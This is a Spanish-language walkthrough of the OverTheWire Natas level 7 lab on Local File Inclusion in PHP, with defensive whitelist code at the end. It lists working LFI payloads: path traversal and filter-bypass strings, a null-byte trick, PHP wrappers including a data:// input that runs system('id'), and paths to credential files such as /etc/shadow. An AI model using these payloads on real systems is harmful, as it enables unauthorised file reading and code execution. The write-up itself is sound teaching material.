← Volver al listado de tecnologías
Natas Nivel 7 - Local File Inclusion (LFI)
Natas Nivel 7 - Local File Inclusion (LFI)
Objetivo
La página tiene enlaces “Home” y “About” que cargan contenido dinámicamente.
Análisis
URLs observadas
index.php?page=home
index.php?page=about
Pista en el código fuente
<!-- hint: password for natas8 is in /etc/natas_webpass/natas8 -->
Teoría: Local File Inclusion (LFI)
¿Qué es?
LFI ocurre cuando una aplicación incluye archivos basándose en input del usuario sin validar adecuadamente.
Código Vulnerable
<?php
$page = $_GET['page'];
include($page); // ¡PELIGROSO!
?>
Impacto
- Leer archivos del sistema (
/etc/passwd) - Leer código fuente de la aplicación
- En algunos casos, ejecutar código (RCE)
Solución
Paso 1: Probar LFI básico
index.php?page=/etc/passwd
Si funciona, verás el contenido del archivo.
Paso 2: Leer la contraseña
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
Técnicas de LFI
Path Traversal
Subir directorios con ../:
?page=../../../etc/passwd
?page=....//....//....//etc/passwd (bypass de filtros)
Null Byte (versiones antiguas de PHP)
?page=/etc/passwd%00
Termina el string, ignorando extensiones agregadas.
Wrappers de PHP
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://input (con POST data)
?page=data://text/plain,<?php system('id'); ?>
Archivos Interesantes en Linux
| Archivo | Contenido |
|---|---|
/etc/passwd | Lista de usuarios |
/etc/shadow | Hashes de contraseñas (root) |
/proc/self/environ | Variables de entorno |
/var/log/apache2/access.log | Logs de Apache |
~/.bash_history | Historial de comandos |
Prevención
Código Seguro
<?php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed)) {
include("pages/" . $page . ".php");
} else {
include("pages/404.php");
}
?>
Medidas
- Whitelist de páginas permitidas
- Sanitizar input del usuario
- Evitar rutas absolutas
- Deshabilitar wrappers peligrosos
Conceptos Aprendidos
| Concepto | Descripción |
|---|---|
| LFI | Local File Inclusion |
| Path traversal | Navegar directorios con ../ |
| PHP wrappers | Protocolos especiales de PHP |
Siguiente Nivel
- URL: http://natas8.natas.labs.overthewire.org
- Usuario: natas8